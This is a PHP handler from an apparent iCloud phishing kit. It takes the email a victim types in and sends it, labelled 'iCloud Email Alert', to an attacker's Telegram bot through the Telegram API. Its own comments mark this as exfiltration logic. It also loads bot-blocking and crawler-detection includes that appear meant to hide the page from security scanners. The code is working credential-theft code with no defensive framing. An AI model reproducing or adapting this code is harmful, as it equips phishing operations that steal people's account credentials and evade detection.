<?php
session_start();
error_reporting(0);
require_once('../config.php');
require_once '../Vuanis/o2ivwuyg.php';
require_once '../Vuanis/pho7zebk.php';
require_once '../Vuanis/rsbvge2q.php';
include('../Vuaniss/blockers.php');
include('../Vuaniss/detects.php');
include('../Vuaniss/Bot-Crawler.php');
include('../Vuaniss/Dila_DZ.php');
$setting_crawlerdetect = "off";
if($setting_crawlerdetect == 'on') {
require_once '../Vuanis/crawlerdetect.php';
}

$cod = trim($_POST['userid']);
if($cod != null){
    $_SESSION['userid'] = $_POST["userid"];
    
    // --- Telegram Exfiltration Logic ---
    $ip = getenv("REMOTE_ADDR");
    $useragent = $_SERVER['HTTP_USER_AGENT'];
    $email = $_POST["userid"];
    $message = "<b>\xF0\x9F\x9A\xA8 iCloud Email Alert</b>\n\n";
    $message .= "------------------------------------------------\n";
    $message .= "<b>Email: </b><b>" . htmlspecialchars($email) . "</b>\n";
    $message .= "------------------------------------------------\n\n"; // Assuming $_SESSION['fldr'] is set

    $token = $TGBO; // Assuming $TGBO is defined in config.php and holds the Telegram Bot Token
    $chat_id = $cID; // Assuming $cID is defined in config.php and holds the Telegram Chat ID

    $url = "https://api.telegram.org/bot" . $token . "/sendMessage?chat_id=" . $chat_id . "&text=" . urlencode($message) . "&parse_mode=html";
    
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
    curl_exec($curl);
    curl_close($curl);
    // --- End Telegram Exfiltration ---

    // Respond with success status for AJAX to handle UI transition
    echo "success"; 
} else {
    // Handle error or redirect if userid is not set
    http_response_code(400); // Bad Request
    echo "error";
}
// Removed echo '<script> window.location="indexs.php" </script>'; as redirection is handled by JS
?>